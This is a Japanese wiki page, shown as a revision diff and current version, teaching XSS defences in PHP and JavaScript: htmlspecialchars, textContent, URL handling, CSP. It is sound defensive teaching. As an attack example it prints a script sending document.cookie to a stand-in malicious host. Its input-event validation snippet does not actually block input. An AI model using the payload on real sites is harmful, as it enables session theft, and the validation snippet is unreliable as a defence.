「PHPの基礎 - XSS対策」の版間の差分
45行目: | 45行目: | ||
* データベースへの保存時 | * データベースへの保存時 | ||
* HTMLとして解釈させる場合 (信頼できるソースからのデータの場合のみ) | * HTMLとして解釈させる場合 (信頼できるソースからのデータの場合のみ) | ||
<br><br> | |||
== DOMベースXSS対策 == | |||
DOMベースXSSは、クライアントサイドのJavaScriptによってDOMを操作する場合に発生するため、サーバサイドのhtmlspecialchars関数だけでは完全な防止は困難である。<br> | |||
<br> | |||
DOMベースXSSの対策には、クライアントサイドでの適切な入力検証やDOMの安全な操作方法の実装が必要となる。<br> | |||
例えば、innerHTMLの代わりにtextContentを使用する等の対策が必要となる。<br> | |||
<br> | |||
==== DOMのプロパティとメソッドの安全な使用 ==== | |||
* innerHTMLの代わりに、textContentを使用してテキストを設定する。 | |||
* setAttribute関数の代わりに、直接プロパティを設定する。 | |||
*: 例: element.id = 'newId' | |||
<br> | |||
==== URLパラメータの処理 ==== | |||
* location.hashやlocation.searchからの値を使用する前に、<code>encodeURIComponent</code>関数でエンコードする。 | |||
* URLSearchParams APIを使用して、URLパラメータを安全に解析する。 | |||
<br> | |||
==== テンプレートリテラルの活用 ==== | |||
<syntaxhighlight lang="javascript"> | |||
// JavaScriptファイル | |||
// 危険な実装 | |||
element.innerHTML = `Welcome ${userInput}`; | |||
// 安全な実装 | |||
element.textContent = `Welcome ${userInput}`; | |||
</syntaxhighlight> | |||
<br> | |||
==== イベントハンドラでの入力値の検証 ==== | |||
<syntaxhighlight lang="javascript"> | |||
// JavaScriptファイル | |||
document.getElementById('userInput').addEventListener('input', function(e) { | |||
const input = e.target.value; | |||
if (!/^[a-zA-Z0-9]+$/.test(input)) { | |||
e.preventDefault(); | |||
alert('特殊文字は使用できません'); | |||
} | |||
}); | |||
</syntaxhighlight> | |||
<br> | |||
==== Content Security Policy (CSP) の実装 ==== | |||
<syntaxhighlight lang="html"> | |||
<!-- HTMLファイル --> | |||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'"> | |||
</syntaxhighlight> | |||
<br><br> | <br><br> | ||
2024年12月28日 (土) 03:35時点における版
概要
XSS (クロスサイトスクリプティング) 攻撃は、Webアプリケーションの脆弱性を利用して、悪意のあるスクリプトをユーザのWebブラウザで実行させる攻撃手法である。
主な攻撃タイプには、反射型XSS、格納型XSS、DOMベースXSSがある。
- 反射型XSS
- ユーザの入力データがそのままレスポンスとして返される場合に発生する。
- 格納型XSS
- 悪意のあるスクリプトがデータベースに保存されて、他のユーザがページを閲覧した時に実行される。
- DOMベースXSS
- クライアントサイドのJavaScriptによってDOMが動的に変更される時に発生する。
PHPでの対策として、htmlspecialchars
関数を使用してHTML特殊文字をエスケープする。
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
その他の重要な対策として、Content Security Policy (CSP) の実装、HTTPOnly属性の設定、入力値の適切なバリデーション、出力時のエンコーディング、最新のPHPフレームワークの使用等が挙げられる。
実際の攻撃例として、以下に示すようなスクリプトが挿入される可能性がある。
これにより、ユーザのクッキー情報が攻撃者のサーバーに送信される可能性がある。
このような攻撃を防ぐために、適切なエスケープ処理と入力検証が不可欠である。
<script>
document.location='http://악성サイト.com/steal.php?cookie='+document.cookie;
</script>
htmlspecialchars関数の使用
htmlspecialchars関数は、反射型XSSと格納型XSSの防止に効果的である。
これらのXSS攻撃は、HTMLの出力時にスクリプトが実行される仕組みを利用するためである。
ただし、htmlspecialchars関数を使用する場合も、第2引数にENT_QUOTES
を指定して、文字エンコーディングを明示的に指定することが必要である。
これにより、シングルクォートとダブルクォートの両方が適切にエスケープされる。
HTMLコンテンツを出力する場合は、htmlspecialchars関数を使用する。
例えば、データベースに"<script>alert('攻撃')</script>"のような悪意のあるスクリプトが格納されている場合、
htmlspecialchars関数を使用しないと、そのスクリプトがWebブラウザで実行される可能性がある。
htmlspecialchars関数を使用する場合、特殊文字がHTMLエンティティに変換 (例: "<" -> "<") されて、スクリプトが実行されなくなる。
ただし、以下のような場合には、htmlspecialchars関数は不要である。
- JSONとして出力する場合 (json_encode関数の使用時)
- データベースへの保存時
- HTMLとして解釈させる場合 (信頼できるソースからのデータの場合のみ)
DOMベースXSS対策
DOMベースXSSは、クライアントサイドのJavaScriptによってDOMを操作する場合に発生するため、サーバサイドのhtmlspecialchars関数だけでは完全な防止は困難である。
DOMベースXSSの対策には、クライアントサイドでの適切な入力検証やDOMの安全な操作方法の実装が必要となる。
例えば、innerHTMLの代わりにtextContentを使用する等の対策が必要となる。
DOMのプロパティとメソッドの安全な使用
- innerHTMLの代わりに、textContentを使用してテキストを設定する。
- setAttribute関数の代わりに、直接プロパティを設定する。
- 例: element.id = 'newId'
URLパラメータの処理
- location.hashやlocation.searchからの値を使用する前に、
encodeURIComponent
関数でエンコードする。 - URLSearchParams APIを使用して、URLパラメータを安全に解析する。
テンプレートリテラルの活用
// JavaScriptファイル
// 危険な実装
element.innerHTML = `Welcome ${userInput}`;
// 安全な実装
element.textContent = `Welcome ${userInput}`;
イベントハンドラでの入力値の検証
// JavaScriptファイル
document.getElementById('userInput').addEventListener('input', function(e) {
const input = e.target.value;
if (!/^[a-zA-Z0-9]+$/.test(input)) {
e.preventDefault();
alert('特殊文字は使用できません');
}
});
Content Security Policy (CSP) の実装
<!-- HTMLファイル -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">